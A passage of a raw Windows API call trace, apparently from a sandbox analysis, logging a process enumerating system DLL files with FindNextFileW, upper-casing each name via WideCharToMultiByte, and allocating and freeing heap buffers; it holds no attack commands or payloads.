lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x1dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0164.140] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.140] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.140] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.140] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.140] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.140] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0164.140] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.140] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0164.140] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x1dc288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0164.140] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.140] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.140] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.140] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.140] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.140] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0164.140] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.140] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0164.140] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x1dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0164.141] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.141] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.141] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.141] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.141] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.141] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0164.141] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.141] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0164.141] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x1dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0164.141] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.141] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.141] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.141] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.141] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.141] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0164.141] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.141] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0164.141] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x1dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0164.141] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.141] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.141] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.141] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.141] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.141] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0164.141] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.141] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0164.141] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x1dc288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0164.141] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.141] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.141] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.141] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.141] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.142] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0164.142] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.142] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0164.142] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x1dc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0164.142] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.142] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.142] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.142] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.142] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.142] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0164.142] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.142] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0164.142] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x1dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0164.142] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.142] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.142] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.142] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.142] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.142] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0164.142] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.142] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0164.142] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x1dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0164.142] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.142] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.142] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.142] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.142] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.142] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0164.142] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.142] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0164.143] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x1dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0164.143] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.143] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.143] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.143] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.143] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.143] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0164.143] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.143] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0164.143] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x1dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0164.143] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.143] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.143] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.143] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.143] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.143] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0164.143] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.143] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0164.143] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x1dc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0164.143] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.143] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.143] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.143] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.143] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.143] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0164.143] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.143] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0164.143] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x1dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0164.143] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.143] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.144] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.144] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.144] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.144] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0164.144] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de8c8 [0164.144] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1de950 [0164.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0164.144] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x1dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0164.144] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.144] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.144] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.144] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de950) returned 1 [0164.144] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1de8c8) returned 1 [0164.144] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, 